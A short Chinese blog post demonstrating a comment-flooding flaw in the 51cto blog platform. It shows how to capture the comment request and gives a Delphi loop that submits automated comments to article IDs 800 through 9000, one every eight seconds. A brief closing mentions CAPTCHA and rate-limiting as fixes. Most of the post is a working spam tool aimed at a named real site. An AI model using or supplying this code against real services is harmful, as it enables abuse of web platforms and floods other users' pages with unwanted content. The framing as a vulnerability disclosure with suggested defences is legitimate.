去年在对一些网站做安全检测时发现不少blog系统存在评论漏洞,破坏者可以通过自制工具达到疯狂发评论的目的,本文就以51cto的blog系统为例吧,希望blog开发者可根据此文找出解决问题的办法(好像已经加验证码了)。
 
首先我们先来抓包,抓http数据包的软件很多,这里使用的是Achilles,抓到的信息如图1:
图1
 
其中authnum=&tid=107858&username=sally&content=%E6%B5%8B%E8%AF%95%E4%B8%80%E4%B8%8B%E6%BC%8F%E6%B4%9E&niming=0是关键数据,
107858是blog的文章号,%E6%B5%8B%E8%AF%95%E4%B8%80%E4%B8%8B%E6%BC%8F%E6%B4%9E是汉字编码(不知道这样描述对不对),翻译过来的意思是“测试一下漏洞”,也就是评论的内容,得到这些后就可以到delphi中写代码了:
  var
  i:integer;
  strurl:string;
  begin
  for i:=800 to 9000 do
  begin
  sleep(8000);
  StrUrl:='https://blog.51cto.com/comment.php?&tid='+Trim(inttostr(i))+'&content=评论的汉字编码&submit=%CC%E1+%BD%BB';
  ShellExecute(0,'open',pchar(StrUrl),nil,nil,SW_SHOW);
  end;
 
sleep(8000)为停顿8秒,i为文章编号,程序编译后就会每格8秒钟就会通过ie向指定的文章提交评论。
 
防范评论灌水机的方法也很简单,加验证码,屏蔽在短时间内大量发送同一内容评论的id和ip。